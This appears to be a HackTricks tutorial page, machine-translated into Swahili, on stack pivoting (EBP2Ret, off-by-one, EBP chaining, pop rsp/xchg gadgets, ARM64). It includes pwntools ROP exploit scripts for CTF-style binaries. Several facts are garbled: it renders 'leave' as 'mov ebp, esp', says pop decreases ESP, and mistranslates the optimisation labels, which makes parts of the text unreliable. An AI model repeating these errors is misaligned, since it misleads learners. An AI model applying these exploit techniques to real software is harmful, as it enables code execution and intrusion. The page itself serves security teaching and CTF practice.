Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Teknolojia hii inatumia uwezo wa kudhibiti Base Pointer (EBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa maagizo leave; ret
.
Kumbuka, leave
kimsingi inamaanisha:
mov ebp, esp
pop ebp
ret
Na kama EBP iko kwenye stack kabla ya EIP, inawezekana kuikontrol kwa kudhibiti stack.
EBP2Ret
Tekniki hii ni muhimu hasa unapoweza kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
Ikiwa, wakati wa utekelezaji wa fvuln
, unafanikiwa kuingiza EBP bandia kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus bytes 4 ili kuzingatia operesheni ya pop
), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati fvuln
inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya pop
inapunguza ESP kwa 4, ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji humo.
Kumbuka jinsi unavyohitaji kujua anwani 2: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani inayotajwa na ESP.
Ujenzi wa Exploit
Kwanza unahitaji kujua anwani ambapo unaweza kuandika data / anwani zisizo na mipaka. ESP itakuwa inatazama hapa na kufanya ret
ya kwanza.
Kisha, unahitaji kujua anwani inayotumiwa na ret
ambayo itafanya kodi isiyo na mipaka. Unaweza kutumia:
- Anwani halali ya ONE_GADGET.
- Anwani ya
system()
ikifuatiwa na bytes 4 za takataka na anwani ya"/bin/sh"
(x86 bits). - Anwani ya
jump esp;
gadget (ret2esp) ikifuatiwa na shellcode ya kutekeleza. - Mnyororo fulani wa ROP.
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na bytes 4 kwa sababu ya sehemu ya pop
ya amri ya leave
. Itakuwa inawezekana kutumia hizi 4B kuweka EBP bandia ya pili na kuendelea kudhibiti utekelezaji.
Off-By-One Exploit
Kuna toleo maalum la tekniki hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza kubadilisha tu byte ya chini zaidi ya EBP. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na ret
lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zilizozuiliwa zaidi.
Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba ESP mpya inatazama ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
EBP Chaining
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha EBP
cha stack na anwani ya leave; ret
katika EIP
, inawezekana kuhamasisha ESP
kwa anwani ya EBP
iliyo na udhibiti kutoka kwenye stack.
Sasa, ESP
inakontroliwa ikielekea kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni RET
. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
&(next fake EBP)
-> Pakia EBP mpya kwa sababu yapop ebp
kutoka kwenye amri yaleave
.system()
-> Inaitwa naret
.&(leave;ret)
-> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena.&("/bin/sh")
-> Param kwasystem
.
Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
Zaidi ya hayo, hapa kuna mfano wa changamoto inayotumia tekniki hii na stack leak ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP huenda isiweze kutumika
Kama ilivyoelezwa katika chapisho hili, ikiwa binary imeandikwa kwa baadhi ya uboreshaji, EBP kamwe haipati kudhibiti ESP, kwa hivyo, yoyote exploit inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi.
Hii ni kwa sababu prologue na epilogue hubadilika ikiwa binary imeboreshwa.
- Haitaboreshwa:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imara:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Njia nyingine za kudhibiti RSP
pop rsp
gadget
Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na pop rsp
gadget na kuna leak kutoka kwenye stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
Marejeleo na Mifano Mingine
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploitation ya off by one na mchain ya rop ikianza na ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, hakuna relro, canary, nx na pie. Program inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya milele ikitumia entries za
.fini_array
+ kuita__libc_csu_fini
(maelezo zaidi hapa). Kwa kutumia "kuandika" hii "ya milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa pivoting na RBP.
ARM64
Katika ARM64, prologue na epilogues za kazi hazihifadhi na kurejesha usajili wa SP katika stack. Zaidi ya hayo, amri ya RET
hairejeshi kwenye anwani inayotolewa na SP, bali kwenye anwani ndani ya x30
.
Hivyo, kwa kawaida, kwa kutumia epilogue huwezi kudhibiti usajili wa SP kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya kudhibiti usajili wa x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP inashikilia rekodi ya frame
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP
(kwa kudhibiti usajili fulani ambao thamani yake inapitishwa kwa SP
au kwa sababu fulani SP
inachukua anwani yake kutoka stack na tuna overflow) na kisha kuandika epilogu ili kupakia usajili wa x30
kutoka SP
iliyo kudhibitiwa na RET
kwake.
Pia katika ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.